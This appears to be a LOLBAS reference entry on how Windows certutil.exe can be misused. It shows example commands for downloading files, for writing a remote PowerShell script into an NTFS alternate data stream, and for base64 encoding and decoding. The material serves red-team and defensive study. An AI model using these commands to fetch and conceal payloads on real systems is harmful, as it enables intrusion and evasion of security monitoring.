LOLBAS/OSBinaries/Certutil.md

732 B

Certutil.exe

  • Functions: Download, Add ADS, Decode, Encode
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe    
    
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt    
    
certutil -encode inputFileName encodedOutputFileName   
    
certutil -decode encodedInputFileName decodedOutputFileName

Acknowledgements:

  • Matt Graeber - @mattifestation
  • Moriarty - @Moriarty2016

Code sample: *

Resources:

Full path:

c:\windows\system32\certutil.exe
c:\windows\sysWOW64\certutil.exe

Notes: